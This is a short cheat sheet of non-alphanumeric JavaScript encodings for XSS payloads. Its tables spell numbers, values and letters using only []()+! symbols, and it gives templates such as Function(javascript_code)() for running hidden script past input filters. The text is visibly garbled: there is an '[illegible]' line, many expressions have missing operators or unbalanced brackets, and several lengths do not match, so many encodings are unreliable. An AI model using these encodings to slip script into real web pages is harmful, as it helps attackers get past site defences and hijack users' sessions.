

# XSS Payloads Cheatsheets

## Non-Alphanum Javascript

**Numbers** - *charset* : []() +!

Number	Length	Non-alphanumeric
0	3	+[]
1	5	+!+[]
2	9	!+[]+!+[]
3	14	!+[]+!+[]+!+[]
4	19	!+[]+!+[]+!+[]+!+[]
5	24	!+[]+!+[]+!+[]+!+[]+!+[]
6	29	!+[]+!+[]+!+[]+!+[]+!+[]+!+[]
7	34	!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]
8	39	!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]
9	44	!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]
10	11	+!+[]+[+[]]
11	13	+!+[]+[+!+[]]
12	17	+!+[]+[!+[]+!+[]]
13	22	+!+[]+[!+[]+!+[]+!+[]]
14	27	+!+[]+[!+[]+!+[]+!+[]+!+[]]
15	32	+!+[]+[!+[]+!+[]+!+[]+!+[]+!+[]]
20	15	!+[]+!+[]+[+[]]
30	20	!+[]+!+[]+!+[]+[+[]]
40	25	!+[]+!+[]+!+[]+!+[]+[+[]]
50	30	!+[]+!+[]+!+[]+!+[]+!+[]+[+[]]
100	17	+!+[]+[+[]+[+[]]]
101	19	+!+[]+[+[]+[+!+[]]]
102	23	+!+[]+[+[]+[!+[]+!+[]]]
103	28	+!+[]+[+[]+[!+[]+!+[]+!+[]]]
104	33	+!+[]+[+[]+[!+[]+!+[]+!+[]+!+[]]]
105	38	+!+[]+[+[]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]]
110	19	+!+[]+[+!+[]+[+[]]]
120	23	+!+[]+[!+[]+!+[]+[+[]]]
130	28	+!+[]+[!+[]+!+[]+!+[]+[+[]]]
140	33	+!+[]+[!+[]+!+[]+!+[]+!+[]+[+[]]]
150	38	+!+[]+[!+[]+!+[]+!+[]+!+[]+!+[]+[+[]]]
200	21	!+[]+!+[]+[+[]+[+[]]]
300	26	!+[]+!+[]+!+[]+[+[]+[+[]]]
400	31	!+[]+!+[]+!+[]+!+[]+[+[]+[+[]]]
500	36	!+[]+!+[]+!+[]+!+[]+!+[]+[+[]+[+[]]]
1000	23	+!+[]+[+[]+[+[]+[+[]]]]

Value	#	Non-alphanumeric
undefined	6	[] [[]]
NaN	6	+ [![]]
true	4	!![]
false	3	![]
1e+100	55	+ (+!+ [] + ( [] [] + []) !+ [] + !![] + !![] + (+!+ [] + [ [] + [ + [] ] ] ) )
Infinity	60	+ (+!+ [] + (!+ [] + []) !+ [] + !+ [] + !+ [] + [ + [] ] + [ + [] ] + [ + [] ] )
Function() [["sort"],["constructor"]]	299	[] [( ![] + []) !+ [] + !![] + !![] + ( [] + {} ) [ + !![] ] + ( !![] + []) [ + !![] ] + ( !![] + []) [ + [] ] [ ( [] + {} ) !+ [] + !![] + !![] + !![] + !![] + ( !![] + []) [ + [] ] + ( !![] + []) [ + !![] ] + ( [] + {} ) [ + !![] ] + ( [] [] + []) [ + !![] ] + ( ![] + []) [ + [] + !![] + !![] + ( !![] + []) [ + [] ] + ( !![] + []) [ + !![] ] + ( [] + {} ) !+ [] + !![] + !![] + !![] + !![] + ( !![] + []) [ + [] ] + ( {} ) [ + !![] ] + ( !![] + []) [ + !![] ] ]
String() ([+[])["constructor"]]	231	( [] + []) [ ( [] + {} ) !+ [] + !![] + !![] + !![] + !![] + ( [] + {} ) [ + !![] ] + ( [] [] + []) [ + !![] ] + ( ![] + []) [ + [] + !![] + !![] + ( !![] + []) [ + [] ] + ( {} ) [ + !![] ] + ( !![] + []) [ + [] ] + ( {} ) [ + !![] ] + ( !![] + []) [ + !![] ] ]
[object Object]	5	[] + {}

(**<value>**+ [ ] )

```
Function(javascript_code)()
```

[illegible][illegible]

Letter	Length	Non-alphanumeric
a	15	(![]+[])[+!+[]]
b	18	([]+{})[!+[]+!![]]
c	33	([]+{})[!+[]+!![]+!![]+!![]+!![]]
d	22	([]([]+[])[!+[]+!![]]
e	25	(!![]+[])[!+[]+!+[]+!+[]]
f	13	(![]+[])[+[]]
h	641	([]+[](![]+[])[!+[]+!![]+!![]]+( []+{})[+!![]]+(![]+[])[+!![]]+(![]+[])[+[]]( []+{})[!+[]+!![]+!![]+!![]+!![]]+( []+{})[+!![]]+( []([]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(![]+[])[+[]]+(![]+[])[+!![]]+( []([]+[])[+[]]+( []+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+( []+{})[+!![]]+(![]+[])[+!![]]( (!![]+[])[+!![]]+( []([]+[])[+!+[]+!![]+!![]+!![]]+(!![]+[])[+[]]+( []([]+[])[+[]]+( []+{})[+!![]]+( []+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!+[]+!![]]+( []+{})[+!![]]+( []+{})[!+[]+!![]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+(!![]+[ ])[+[]]+( []([]+[])[+!+[]+!![]+!![]+!![]+!![]]+( []+{})[+!![]]+( []([]+[])[+!![]])( )+[+[]]
i	27	(![]+[]([])) [+!+[]+ [+[]]]
j	23	([]+{})[!+[]+!![]+!![]]
l	19	(![]+[])[!+[]+!+[]]
n	18	([]([]+[])[+!+[]]
o	14	([]+{})[+!![]]
p	652	([]+[](![]+[])[!+[]+!![]+!![]]+( []+{})[+!![]]+(![]+[])[+!![]]+(![]+[])[+[]]( []+{})[!+[]+!![]+!![]+!![]+!![]]+( []+{})[+!![]]+( []([]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(![]+[])[+[]]+(![]+[])[+!![]]+(!![]+[])[+[]]+( []+{})[+!![]]+(![]+[])[+!![]]( (!![]+[])[+!![]]+( []([]+[])[+!+[]+!![]+!![]+!![]]+(!![]+[])[+[]]+( []([]+[])[+[]]+( []+{})[+!![]]+( []+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!+[]+!![]]+( []+{})[+!![]]+( []+{})[!+[]+!![]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+(!![]+[ ])[+[]]+( []([]+[])[+!+[]+!![]+!![]+!![]+!![]]+( []+{})[+!![]]+( []([]+[])[+!![]])( )+[+[]+!![]+!![]]
r	16	(!![]+[])[+!+[]]
s	24	(![]+[])[!+[]+!+[]+!+[]]
t	14	(!![]+[])[+[]]
u	16	([]([]+[])[+[]]
y	115	(+(![]+[]([]([]+[])[+[]+!![]+!![]]+(![]+[])+(+[]+[])+(+[]+[])+(+[]+[])) +[])[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]
O	61	([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]
N	13	(+{}+[])[+[]]

```
Function("return unescape(<hex_ASCII_code>)")()
```

www.xss-payloads.com